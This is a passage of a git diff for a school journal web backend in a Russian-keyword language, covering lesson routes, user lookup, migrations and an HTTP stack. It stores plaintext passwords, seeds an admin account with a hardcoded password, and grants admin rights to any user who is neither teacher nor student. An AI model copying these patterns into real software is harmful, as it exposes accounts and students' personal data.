ид класса = параметры[0] + пусть фильтр дата := "" + пусть есть фильтр := ложь + + если длина(параметры) > 1 { + фильтр дата := параметры[1] + есть фильтр := истина + } + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть ученик = репозитории.пользователь ученик(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть данные класса = картотека.запросить безопасно(` + SELECT id, creator_teacher_id FROM classes WHERE id = ? + `, оплошность, ид класса) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(данные класса.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект класса = данные класса.значения[0](:джесон.ДжесонОбъект) + пусть поле создателя = объект класса.получить("creator_teacher_id").число() + пусть идентификатор создателя: Цел64 := -1 + пусть есть создатель := ложь + + если поле создателя # пусто { + идентификатор создателя := поле создателя^.значение + есть создатель := истина + } + + пусть учитель имеет доступ := ложь + + если админ { + учитель имеет доступ := истина + } + + если учитель # пусто { + если есть создатель { + если учитель^.идентификатор = идентификатор создателя { + учитель имеет доступ := истина + } + } + } + + если ~ учитель имеет доступ { + если ученик = пусто { + вернуть хттп.ответ_403() + } + + пусть проверка ученика = картотека.запросить безопасно(` + SELECT id FROM class_students WHERE class_id = ? AND student_id = ? + `, оплошность, ид класса, ученик^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(проверка ученика.значения) = 0 { + вернуть хттп.ответ_403() + } + } + + пусть уроки ответ: джесон.ДжесонМногоЗначений := джесон.ДжесонМногоЗначений{} + + если есть фильтр { + уроки ответ := картотека.запросить безопасно(` + SELECT id, class_id, date, title, homework + FROM lessons + WHERE class_id = ? AND date = ? + ORDER BY date, id + `, оплошность, ид класса, фильтр дата) + } иначе { + уроки ответ := картотека.запросить безопасно(` + SELECT id, class_id, date, title, homework + FROM lessons + WHERE class_id = ? + ORDER BY date, id + `, оплошность, ид класса) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон уроки = джесон.ДжесонМногоЗначений{} + + цикл [номер]запись среди уроки ответ.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + пусть идентификатор = объект.получить("id").число()^.значение + пусть ид класса урока = объект.получить("class_id").число()^.значение + пусть дата урока = объект.получить("date").строка()^ + пусть название урока = объект.получить("title").строка()^ + пусть поле домашки = объект.получить("homework").строка() + пусть значение домашки := "" + + если поле домашки # пусто { + значение домашки := поле домашки^ + } + + пусть урок = джесон.ДжесонОбъект{} + урок.вставить("идентификатор", джесон.ДжесонЧисло{значение: идентификатор}) + урок.вставить("идентификатор класса", джесон.ДжесонЧисло{значение: ид класса урока}) + урок.вставить("дата", джесон.ДжесонСтрока{значение: дата урока}) + урок.вставить("название", джесон.ДжесонСтрока{значение: название урока}) + урок.вставить("домашнее задание", джесон.ДжесонСтрока{значение: значение домашки}) + + джесон уроки.значения.добавить(урок) + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "уроки", + значение: джесон уроки + } + ] + }) + + вернуть хттп.ХттпОтвет{туловище: тело} +} + +фн удалить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид урока = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ответ = картотека.запросить безопасно(` + DELETE FROM lessons WHERE id = ? AND class_id = ? + RETURNING id + `, оплошность, ид урока, ид класса) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["POST"], добавить урок) + маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/date/$", массивы.Строки["GET"], список уроков) + маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["DELETE"], удалить урок) + + вернуть маршрутизатор +} diff --git a/исх/вперед-назад/типы.tri b/исх/вперед-назад/типы.tri new file mode 100644 index 0000000..59eb33c --- /dev/null +++ b/исх/вперед-назад/типы.tri @@ -0,0 +1,5 @@ +модуль вперед-назад + +тип Крипипаста* = протокол { + фн прочитать(сколько: Цел64): Строка +} diff --git a/исх/картотека/картотека.tri b/исх/картотека/картотека.tri new file mode 100644 index 0000000..2ae615d --- /dev/null +++ b/исх/картотека/картотека.tri @@ -0,0 +1,13 @@ +модуль картотека + +импорт "исх/бд/скуля" + +пусть картотека: скуля.Картотека := скуля.Картотека{} + +фн зайти*(): скуля.Картотека { + вернуть картотека +} + +вход { + картотека := скуля.открыть картотеку("var/srab.db") +} diff --git a/исх/картотека/репозитории/пользователь.tri b/исх/картотека/репозитории/пользователь.tri new file mode 100644 index 0000000..abb6694 --- /dev/null +++ b/исх/картотека/репозитории/пользователь.tri @@ -0,0 +1,130 @@ +модуль репозитории + +импорт "исх/бд/скуля" +импорт "исх/картотека" +импорт "исх/форматы/джесон" +импорт "исх/бюрократия" + +тип Пользователь = класс { + идентификатор*: Цел64 := 0 + имя*: Строка := "" + фамилия*: Строка := "" + отчество*: Строка := "" + имя пользователя*: Строка := "" + пароль*: Строка := "" +} + +тип Учитель = класс { + идентификатор*: Цел64 := 0 + идентификатор пользователя*: Цел64 := 0 + образование*: Строка := "" + урурурл аватара*: Строка := "" +} + +тип Ученик = класс { + идентификатор*: Цел64 := 0 + идентификатор пользователя*: Цел64 := 0 + идентификатор ментора*: Цел64 := 0 + снилс*: Строка := "" + паспорт*: Строка := "" +} + +фн авторизовать пользователя*(имя пользователя: Строка, пароль: Строка, оплошность := Строка): мб Пользователь { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT id, first_name, last_name, middle_name FROM users WHERE username = ? AND password = ? + `, оплошность, имя пользователя, пароль) + + если оплошность # "" { + вернуть Пользователь{} + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Пользователь{ + идентификатор: объект.получить("id").число()^.значение, + имя: объект.получить("first_name").строка()^, + фамилия: объект.получить("last_name").строка()^, + отчество: объект.получить("middle_name").строка()^, + имя пользователя: имя пользователя, + пароль: пароль + } +} + +фн авторизовать по паспорту*(паспорт: мб бюрократия.Паспорт, оплошность := Строка): мб Пользователь { + если паспорт = пусто { + вернуть пусто + } + + вернуть авторизовать пользователя(паспорт^.имя пользователя, паспорт^.пароль, оплошность) +} + +фн пользователь учитель*(ид: Цел64, оплошность := Строка): мб Учитель { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT user_id, education, avatar_url, id FROM teachers WHERE user_id = ? + `, оплошность, ид) + + если оплошность # "" { + вернуть пусто + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Учитель{ + идентификатор: объект.получить("id").число()^.значение, + идентификатор пользователя: ид, + образование: объект.получить("education").строка()^, + урурурл аватара: объект.получить("avatar_url").строка()^ + } +} + +фн пользователь ученик*(ид: Цел64, оплошность := Строка): мб Ученик { + пусть картотека = картотека.зайти() + пусть ответ = картотека.запросить безопасно(` + SELECT * FROM students WHERE user_id = ? + `, оплошность, ид) + + если оплошность # "" { + вернуть пусто + } + + если длина(ответ.значения) = 0 { + вернуть пусто + } + + пусть объект = ответ.значения[0](:джесон.ДжесонОбъект) + + вернуть Ученик{ + идентификатор: объект.получить("id").число()^.значение, + идентификатор пользователя: ид, + идентификатор ментора: объект.получить("mentor_id").число()^.значение, + снилс: объект.получить("snils").строка()^, + паспорт: объект.получить("passport").строка()^ + } +} + +фн пользователь админ*(ид: Цел64, оплошность := Строка): Лог { + пусть картотека = картотека.зайти() + пусть учитель = пользователь учитель(ид, оплошность) + + если оплошность # "" { + вернуть ложь + } + + пусть ученик = пользователь ученик(ид, оплошность) + + если оплошность # "" { + вернуть ложь + } + + вернуть учитель = пусто & ученик = пусто +} diff --git a/исх/маршруты/маршруты.tri b/исх/маршруты/маршруты.tri new file mode 100644 index 0000000..e0b7462 --- /dev/null +++ b/исх/маршруты/маршруты.tri @@ -0,0 +1,24 @@ +модуль маршруты + +импорт "исх/массивы" +импорт "исх/сеть/хттп/маршрутизатор" + +импорт "исх/властелины/главный" +импорт "исх/властелины/классы" +импорт "исх/властелины/уроки" +импорт "исх/властелины/пользователи" +импорт "исх/властелины/пользователи/ученики" +импорт "исх/властелины/пользователи/учителя" + +фн получить маршрутизатор*(): маршрутизатор.Маршрутизатор { + пусть маршрутизатор = маршрутизатор.Маршрутизатор{} + + главный.добавить маршруты(маршрутизатор) + пользователи.добавить маршруты(маршрутизатор) + ученики.добавить маршруты(маршрутизатор) + учителя.добавить маршруты(маршрутизатор) + классы.добавить маршруты(маршрутизатор) + уроки.добавить маршруты(маршрутизатор) + + вернуть маршрутизатор +} diff --git a/исх/массивы/массивы.tri b/исх/массивы/массивы.tri new file mode 100644 index 0000000..6fbb6f9 --- /dev/null +++ b/исх/массивы/массивы.tri @@ -0,0 +1,3 @@ +модуль массивы + +тип Строки* = []Строка diff --git a/исх/миграции/миграции.tri b/исх/миграции/миграции.tri new file mode 100644 index 0000000..bdeba43 --- /dev/null +++ b/исх/миграции/миграции.tri @@ -0,0 +1,112 @@ +модуль миграции + +импорт "исх/бд/скуля" + +фн мигрировать*(картотека: скуля.Картотека) { + пусть оплошность := "" + + картотека.выполнить(`PRAGMA foreign_keys = ON;`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + first_name TEXT NOT NULL, + last_name TEXT NOT NULL, + middle_name TEXT NOT NULL, + username TEXT NOT NULL UNIQUE, + password TEXT NOT NULL +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS teachers ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL UNIQUE, + education TEXT, + avatar_url TEXT, + FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS students ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL UNIQUE, + mentor_id INTEGER, -- "чей ученик" — id учителя (может быть NULL) + snils TEXT, + passport TEXT, + FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE, + FOREIGN KEY(mentor_id) REFERENCES teachers(id) ON DELETE SET NULL +);`, оплошность) + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS classes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + number INTEGER NOT NULL, + letter TEXT NOT NULL, + creator_teacher_id INTEGER, + FOREIGN KEY(creator_teacher_id) REFERENCES teachers(id) ON DELETE SET NULL +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS class_students ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + class_id INTEGER NOT NULL, + student_id INTEGER NOT NULL, + UNIQUE(class_id, student_id), + FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE, + FOREIGN KEY(student_id) REFERENCES students(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +CREATE TABLE IF NOT EXISTS lessons ( + id INTEGER PRIMARY + KEY AUTOINCREMENT, + class_id INTEGER NOT NULL, + date DATE NOT NULL, + title TEXT NOT NULL, + homework TEXT, + FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } + + картотека.выполнить(` +INSERT OR IGNORE INTO users ( + first_name, + last_name, + middle_name, + username, + password +) VALUES ( + 'Админ', + 'Админович', + '', + 'admin', + 'correct horse battery staple' +);`, оплошность) + + если оплошность # "" { + авария(оплошность) + } +} diff --git a/исх/отдых/отдых.tri b/исх/отдых/отдых.tri new file mode 100644 index 0000000..7acf45a --- /dev/null +++ b/исх/отдых/отдых.tri @@ -0,0 +1,9 @@ +модуль отдых + +// c:include + +фн sleep(секунды: Цел64) @внеш + +фн отдохнуть*(секунды: Цел64) { + sleep(секунды) +} diff --git a/исх/сборщик-мусора/сборщик-мусора.tri b/исх/сборщик-мусора/сборщик-мусора.tri new file mode 100644 index 0000000..1a0ac6b --- /dev/null +++ b/исх/сборщик-мусора/сборщик-мусора.tri @@ -0,0 +1,7 @@ +модуль сборщик-мусора + +импорт "стд::платформа" + +фн собрать*() { + платформа.завершить программу(0) +} diff --git a/исх/сеть/тцп/сервер.tri b/исх/сеть/тцп/сервер.tri new file mode 100644 index 0000000..fb20acb --- /dev/null +++ b/исх/сеть/тцп/сервер.tri @@ -0,0 +1,57 @@ +модуль тцп + +// c:include "suckit.h" + +фн create_socket_fd(port: Цел64): Цел64 @внеш +фн accept_socket(fd: Цел64): Цел64 @внеш +фн read_to_string(fd: Цел64, bytes: Цел64): Строка @внеш +фн close_socket(socket: Цел64) @внеш +фн write_string(socket: Цел64, data: Строка) @внеш +фн connect_socket(host: Строка, port: Цел64): Цел64 @внеш + +тип ТцпСервер* = класс { + фд: Цел64 = 0 +} + +тип ТцпСоединение* = класс { + фд: Цел64 = 0 +} + +фн создать сервер*(порт: Цел64): ТцпСервер { + пусть фд = create_socket_fd(порт) + + вернуть ТцпСервер{ + фд: фд + } +} + +фн (с: ТцпСервер) принять чертово соединение*(): ТцпСоединение { + пусть фд = accept_socket(с.фд) + + вернуть ТцпСоединение{ + фд: фд + } +} + +фн (с: ТцпСоединение) прочитать*(сколько: Цел64): Строка { + вернуть read_to_string(с.фд, сколько) +} + +фн (с: ТцпСоединение) записать*(данные: Строка) { + write_string(с.фд, данные) +} + +фн (с: ТцпСоединение) закрыть*() { + close_socket(с.фд) +} + +фн (с: ТцпСервер) закрыть*() { + close_socket(с.фд) +} + +фн подключиться*(хост: Строка, порт: Цел64): ТцпСоединение { + пусть фд = connect_socket(хост, порт) + вернуть ТцпСоединение{ фд: фд } +} + + diff --git a/исх/сеть/хттп/клиент.tri b/исх/сеть/хттп/клиент.tri new file mode 100644 index 0000000..11bc4b9 --- /dev/null +++ b/исх/сеть/хттп/клиент.tri @@ -0,0 +1,140 @@ +модуль хттп + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/сеть/тцп" + +фн сериализовать хттп-запрос(хост: Строка, обращение: ХттпОбращение): Строка { + пусть метод := обращение.метод + если метод = "" { + метод := "GET" + } + + пусть путь := обращение.путь + если путь = "" { + путь := "/" + } + + пусть первая := строка.ф("$стр $стр HTTP/1.1\r\n", метод, путь) + пусть есть длина := ложь + пусть выход := первая + + цикл [номер]заглавие среди обращение.заглавия { + если заглавие.имя = "Content-Length" { есть длина := истина } + выход := строка.собрать(выход, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение)) + } + + выход := строка.собрать(выход, строка.ф("Host: $стр\r\n", хост)) + + если ~ есть длина { + выход := строка.собрать(выход, строка.ф("Content-Length: $цел\r\n", длина(обращение.туловище(:Строка8)))) + } + + выход := строка.собрать(выход, "\r\n") + + если длина(обращение.туловище) > 0 { выход := строка.собрать(выход, обращение.туловище) } + + вернуть выход +} + +фн послать далеко и надолго*(хост: Строка, порт: Цел64, обращение: ХттпОбращение): ХттпОтвет { + пусть соединение = тцп.подключиться(хост, порт) + пусть данные = сериализовать хттп-запрос(хост, обращение) + + соединение.записать(данные) + + вывод.ф("Ждем хттп ответ\n") + пусть ответ = разобрать хттп ответ(соединение) + соединение.закрыть() + вывод.ф("Дождались\n") + + вернуть ответ +} + +фн послать на три буквы*(хост: Строка, порт: Цел64, путь: Строка): ХттпОтвет { + вернуть послать далеко и надолго(хост, порт, ХттпОбращение{ метод: "GET", путь: путь }) +} + +тип Урл* = класс { + хост*: Строка := "" + порт*: Цел64 := 0 + путь*: Строка := "" +} + +фн парсить урл*(стр: Строка, оплошность := Строка): Урл { + оплошность := "" + + пусть с = строка.обрезать пробельные символы(стр) + если с = "" { + оплошность := "пустой урл" + вернуть Урл{} + } + + пусть схема := "http" + пусть ост := с + если строка.разделить(с, "://", схема, ост) { + схема := строка.обрезать пробельные символы(схема) + } иначе { + // без схемы считаем http + схема := "http" + ост := с + } + + // отделяем authority и путь + пусть № слеша = строка.индекс(ост, 0, "/") + пусть авторитет := "" + пусть путь := "" + если № слеша >= 0 { + пусть ост8 = ост(:Строка8) + авторитет := строка.извлечь(ост, 0, № слеша) + путь := строка.извлечь(ост, № слеша, длина(ост8) - № слеша) + } иначе { + авторитет := ост + путь := "" + } + + авторитет := строка.обрезать пробельные символы(авторитет) + если авторитет = "" { + оплошность := "пустой хост в урл" + вернуть Урл{} + } + + // парсим хост и порт + пусть хост := авторитет + пусть порт: Цел64 := 0 + пусть № двоеточия = строка.индекс(авторитет, 0, ":") + если № двоеточия >= 0 { + пусть ав8 = авторитет(:Строка8) + хост := строка.извлечь(авторитет, 0, № двоеточия) + пусть порт строка := строка.извлечь(авторитет, № двоеточия + 1, длина(ав8) - (№ двоеточия + 1)) + порт строка := строка.обрезать пробельные символы(порт строка) + + пусть порт значение := 0 + пусть № байта := 0 + если ~ строка.извлечь цел(порт строка, № байта, порт значение) { + оплошность := "некорректный порт в урл" + вернуть Урл{} + } + если порт значение <= 0 | порт значение > 65535 { + оплошность := "порт вне диапазона в урл" + вернуть Урл{} + } + порт := порт значение + } иначе { + если схема = "https" { + порт := 443 + } иначе { + порт := 80 + } + } + + хост := строка.обрезать пробельные символы(хост) + если хост = "" { + оплошность := "пустой хост в урл" + вернуть Урл{} + } + + если путь = "" { путь := "/" } + + вернуть Урл{ хост: хост, порт: порт, путь: путь } +} diff --git a/исх/сеть/хттп/маршрутизатор/маршутизатор.tri b/исх/сеть/хттп/маршрутизатор/маршутизатор.tri new file mode 100644 index 0000000..7b76336 --- /dev/null +++ b/исх/сеть/хттп/маршрутизатор/маршутизатор.tri @@ -0,0 +1,120 @@ +модуль маршрутизатор + +импорт "стд::контейнеры/словарь/стр-стр" +импорт "исх/строка" +импорт "исх/сеть/хттп" +импорт "исх/массивы" + +тип Обращение* = класс (хттп.ХттпОбращение) { + запрос-в-пути*: стр-стр.Словарь := стр-стр.Словарь{} +} + +тип ОбработчикМаршрута = фн (путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет + +тип Маршрут = класс { + путь: Строка := "/" + обработчик: ОбработчикМаршрута := позже + методы: массивы.Строки := массивы.Строки[] +} + +фн (м: Маршрут) подходит по пути(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог { + пусть части пути по запросу = строка.разобрать(обращение.путь, "?") + пусть части пути обращения = строка.разобрать(части пути по запросу[0], "/") + пусть части пути маршрута = строка.разобрать(м.путь, "/") + + цикл [номер]часть пути маршрута среди части пути маршрута { + если часть пути маршрута = "*" { + пусть ай := номер + + пока ай < длина(части пути обращения) { + параметры.добавить(части пути обращения[ай]) + ай++ + } + + вернуть истина + } + + если номер >= длина(части пути обращения) { + вернуть ложь + } + + пусть часть пути обращения = части пути обращения[номер] + + если часть пути маршрута = "$" { + параметры.добавить(часть пути обращения) + } иначе если часть пути маршрута # часть пути обращения { + вернуть ложь + } + } + + вернуть длина(части пути маршрута) = длина(части пути обращения) +} + +фн (м: Маршрут) подходит по методу(обращение: хттп.ХттпОбращение): Лог { + цикл [номер]метод среди м.методы { + если метод = обращение.метод { + вернуть истина + } + } + + вернуть ложь +} + +фн (м: Маршрут) подходит для*(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог { + вернуть м.подходит по пути(обращение, параметры) & м.подходит по методу(обращение) +} + +тип Маршруты = []Маршрут + +тип Маршрутизатор* = класс { + маршруты: Маршруты := Маршруты[] + обработчик_404: ОбработчикМаршрута := обработчик_404 +} + +фн (м: Маршрутизатор) добавить маршрут*(путь: Строка, методы: массивы.Строки, обработчик: ОбработчикМаршрута) { + м.маршруты.добавить(Маршрут{путь: путь, обработчик: обработчик, методы: методы}) +} + +фн (м: Маршрутизатор) обработать обращение*(обращение: хттп.ХттпОбращение): хттп.ХттпОтвет { + пусть обращение маршрутизатора = Обращение{ + метод: обращение.метод, + путь: обращение.путь, + версия: обращение.версия, + заглавия: обращение.заглавия, + туловище: обращение.туловище, + запрос-в-пути: разобрать-запрос-в-пути(обращение.путь) + } + + цикл [номер]маршрут среди м.маршруты { + пусть параметры := массивы.Строки[] + + если маршрут.подходит для(обращение, параметры) { + вернуть маршрут.обработчик(обращение.путь, параметры, обращение маршрутизатора) + } + } + + вернуть м.обработчик_404(обращение.путь, массивы.Строки[], обращение маршрутизатора) +} + +фн разобрать-запрос-в-пути(путь: Строка): стр-стр.Словарь { + пусть части = строка.разобрать(путь, "?") + + если длина(части) < 2 { + вернуть стр-стр.Словарь{} + } + + пусть параметры = строка.разобрать(части[1], "&") + пусть словарь = стр-стр.Словарь{} + + цикл [номер]параметр среди параметры { + пусть пара = строка.разобрать(параметр, "=") + + если длина(пара) = 2 { + словарь.добавить(пара[0], пара[1]) + } иначе если длина(пара) = 1 { + словарь.добавить(пара[0], "") + } + } + + вернуть словарь +} diff --git a/исх/сеть/хттп/маршрутизатор/обработчики.tri b/исх/сеть/хттп/маршрутизатор/обработчики.tri new file mode 100644 index 0000000..efd621e --- /dev/null +++ b/исх/сеть/хттп/маршрутизатор/обработчики.tri @@ -0,0 +1,8 @@ +модуль маршрутизатор + +импорт "исх/массивы" +импорт "исх/сеть/хттп" + +фн обработчик_404*(путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет { + вернуть хттп.ответ_404() +} diff --git a/исх/сеть/хттп/ответ.tri b/исх/сеть/хттп/ответ.tri new file mode 100644 index 0000000..af71c66 --- /dev/null +++ b/исх/сеть/хттп/ответ.tri @@ -0,0 +1,118 @@ +модуль хттп + +фн ответ_201*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 201, + состояние: "Created", + туловище: "Тварь успешно создана.", + } +} + +фн ответ_204*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 204, + состояние: "No Content", + туловище: "Пожалуйста, оставайтесь на месте. За вами уже выехали.", + } +} + +фн ответ_400*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 400, + состояние: "Bad Request", + туловище: "Некорректный запрос. Пожалуйста, проверьте правильность запроса и повторите попытку.", + } +} + +фн ответ_401*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 401, + состояние: "Unauthorized", + туловище: "Требуется аутентификация. Пожалуйста, предоставьте свои паспортные данные и повторите запрос.", + } +} + +фн ответ_402*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 402, + состояние: "Payment Required", + туловище: "Доступ к запрашиваемому ресурсу требует оплаты. Пожалуйста, свяжитесь с администратором для получения дополнительной информации.", + } +} + +фн ответ_403*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 403, + состояние: "Forbidden", + туловище: "Вы были репрессированы. Пожалуйста, перейдите по ссылке: http://сибирь.рф", + } +} + +фн ответ_422*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 422, + состояние: "Unprocessable Entity", + туловище: "Неперевариваемая тварь.", + } +} + +фн ответ_404*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 404, + состояние: "Not Found", + туловище: "Запрашиваемый ресурс не найден на сервере.", + } +} + +фн ответ_500*(): ХттпОтвет { + вернуть ХттпОтвет{ + код: 500, + состояние: "Internal Server Error", + туловище: "Просим быть внимательными и бдительными. Оглядывайтесь вверх и по сторонам. Что-то произошло непонятное.", + } +} + +фн создать ответ*(база: ХттпОтвет, расширение: ХттпОтвет): ХттпОтвет { + пусть пустой ответ = ХттпОтвет{} + пусть ответ = ХттпОтвет{} + + если расширение.код # пустой ответ.код { + ответ.код := расширение.код + } иначе { + ответ.код := база.код + } + + если расширение.состояние # пустой ответ.состояние { + ответ.состояние := расширение.состояние + } иначе { + ответ.состояние := база.состояние + } + + цикл [номер]заглавие среди база.заглавия { + ответ.заглавия.добавить(заглавие) + } + + цикл [номер]заглавие среди расширение.заглавия { + пусть нашлось := ложь + + цикл [уемер]существующее среди ответ.заглавия { + если заглавие.имя = существующее.имя { + существующее.значение := заглавие.значение + нашлось := истина + прервать + } + } + + если ~нашлось { + ответ.заглавия.добавить(заглавие) + } + } + + если расширение.туловище # "" { + ответ.туловище := расширение.туловище + } иначе { + ответ.туловище := база.туловище + } + + вернуть ответ +} diff --git a/исх/сеть/хттп/парсер.tri b/исх/сеть/хттп/парсер.tri new file mode 100644 index 0000000..ee49671 --- /dev/null +++ b/исх/сеть/хттп/парсер.tri @@ -0,0 +1,235 @@ +модуль хттп + +импорт "исх/строка" +импорт "исх/вперед-назад" +импорт "исх/сеть/тцп" + +фн сериализовать хттп ответ*(р: ХттпОтвет): Строка { + пусть ответ := строка.собрать(строка.ф("$стр $цел $стр\r\n", р.версия, р.код, р.состояние)) + + пусть есть размер контента := ложь + + цикл [номер]заглавие среди р.заглавия { + если заглавие.имя = "Content-Length" { есть размер контента := истина } + ответ := строка.собрать(ответ, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение)) + } + + если ~ есть размер контента { + ответ := строка.собрать(ответ, строка.ф("Content-Length: $цел\r\n", длина(р.туловище(:Строка8)))) + } + + ответ := строка.собрать(ответ, "\r\n") + + если длина(р.туловище) > 0 { + ответ := строка.собрать(ответ, р.туловище) + } + + вернуть ответ +} + +фн отправить хттп ответ*(с: тцп.ТцпСоединение, р: ХттпОтвет) { + пусть данные := сериализовать хттп ответ(р) + с.записать(данные) +} + +фн разобрать хттп обращение*(с: вперед-назад.Крипипаста): ХттпОбращение { + пусть сколько читаем = 1024 + пусть прочитано := 0 + пусть обращение = ХттпОбращение{} + пусть данные := "" + пусть первая линия := "" + пусть добрались до тела := ложь + пусть размер контента: Цел64 := -1 + + пока истина { + пусть сколько прочитать: Цел64 := -1 + если размер контента > 0 & добрались до тела { + сколько прочитать := размер контента - прочитано + } + + если сколько прочитать = 0 { + вернуть обращение + } + + пусть новые данные = с.прочитать(сколько читаем) + прочитано := прочитано + длина(новые данные) + если длина(новые данные) = 0 { + вернуть обращение + } + + данные := строка.собрать(данные, новые данные) + + если ~ добрались до тела { + пока длина(данные) > 0 { + пусть конец строки = строка.индекс(данные, 0, "\n") + + если конец строки = -1 { + прервать + } + + пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки)) + данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки) + + если линия = "" { + если размер контента > 0 { + пусть индекс переноса = строка.индекс(данные, 0, "\n") + + добрались до тела := истина + данные := строка.извлечь(данные, индекс переноса + 1, длина(данные(:Строка8)) - индекс переноса) + прочитано := длина(данные(:Строка8)) + обращение.туловище := данные + данные := "" + + прервать + } иначе { + вернуть обращение + } + } + + если первая линия = "" { + первая линия := линия + + пусть части = строка.разобрать(первая линия, " ") + + если длина(части) >= 1 { обращение.метод := части[0] } + если длина(части) >= 2 { + цикл [номер]часть среди части { + если номер > 0 & номер < длина(части) - 1 { + если номер > 1 { + обращение.путь := строка.собрать(обращение.путь, " ") + } + + обращение.путь := строка.собрать(обращение.путь, часть) + } + } + } + если длина(части) >= 3 { обращение.версия := части[длина(части) - 1] } + } иначе { + пусть заглавие = ХттпЗаглавие{} + + строка.разделить(линия, ":", заглавие.имя, заглавие.значение) + + заглавие.имя := строка.обрезать пробельные символы(заглавие.имя) + заглавие.значение := строка.обрезать пробельные символы(заглавие.значение) + + если размер контента < 0 & заглавие.имя = "Content-Length" { + пусть новый размер контента := 0 + пусть номер байта := 0 + + если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) { + размер контента := новый размер контента + } + } + + обращение.заглавия.добавить(заглавие) + } + } + } иначе { + обращение.туловище := строка.соединить(обращение.туловище, данные) + 